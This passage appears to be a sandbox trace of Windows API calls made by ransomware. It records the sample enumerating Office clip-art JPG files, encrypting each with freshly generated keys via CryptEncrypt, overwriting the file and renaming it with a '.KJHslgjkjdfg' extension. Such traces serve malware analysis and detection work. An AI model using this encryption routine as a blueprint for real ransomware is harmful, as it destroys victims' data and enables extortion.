hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.599] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.600] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.600] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.600] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.600] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.600] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.600] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7457, lpOverlapped=0x0) returned 1 [0201.601] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7460, dwBufLen=0x7460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7460) returned 1 [0201.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.601] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7460, lpOverlapped=0x0) returned 1 [0201.602] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.602] SetEndOfFile (hFile=0x130) returned 1 [0201.604] GetProcessHeap () returned 0x990000 [0201.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.604] GetProcessHeap () returned 0x990000 [0201.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.kjhslgjkjdfg")) returned 1 [0201.606] CloseHandle (hObject=0x130) returned 1 [0201.606] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0201.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.607] GetProcessHeap () returned 0x990000 [0201.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.607] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0201.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.609] GetProcessHeap () returned 0x990000 [0201.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.609] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.610] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa9e2, lpOverlapped=0x0) returned 1 [0201.611] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa9f0, dwBufLen=0xa9f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa9f0) returned 1 [0201.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.611] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa9f0, lpOverlapped=0x0) returned 1 [0201.612] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.612] SetEndOfFile (hFile=0x130) returned 1 [0201.614] GetProcessHeap () returned 0x990000 [0201.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.614] GetProcessHeap () returned 0x990000 [0201.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.kjhslgjkjdfg")) returned 1 [0201.616] CloseHandle (hObject=0x130) returned 1 [0201.616] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0201.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.617] GetProcessHeap () returned 0x990000 [0201.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.617] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.617] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.619] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.619] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.619] GetProcessHeap () returned 0x990000 [0201.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.619] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.619] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.619] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.619] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.619] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.620] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.620] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.620] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ee3, lpOverlapped=0x0) returned 1 [0201.621] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0) returned 1 [0201.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.621] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ef0, lpOverlapped=0x0) returned 1 [0201.621] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.621] SetEndOfFile (hFile=0x130) returned 1 [0201.623] GetProcessHeap () returned 0x990000 [0201.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.623] GetProcessHeap () returned 0x990000 [0201.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.kjhslgjkjdfg")) returned 1 [0201.625] CloseHandle (hObject=0x130) returned 1 [0201.625] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0201.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.626] GetProcessHeap () returned 0x990000 [0201.626] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.626] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.626] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.628] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.628] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.628] GetProcessHeap () returned 0x990000 [0201.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.628] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.628] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.628] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.628] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.628] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.628] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.629] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.629] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.629] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f8a, lpOverlapped=0x0) returned 1 [0201.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90) returned 1 [0201.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.630] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f90, lpOverlapped=0x0) returned 1 [0201.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.630] SetEndOfFile (hFile=0x130) returned 1 [0201.633] GetProcessHeap () returned 0x990000 [0201.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.633] GetProcessHeap () returned 0x990000 [0201.633] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.kjhslgjkjdfg")) returned 1 [0201.635] CloseHandle (hObject=0x130) returned 1 [0201.635] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0201.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.636] GetProcessHeap () returned 0x990000 [0201.636] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.636] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0201.637] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.637] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.638] GetProcessHeap () returned 0x990000 [0201.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.638] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.638] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.638] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.638] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.638] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 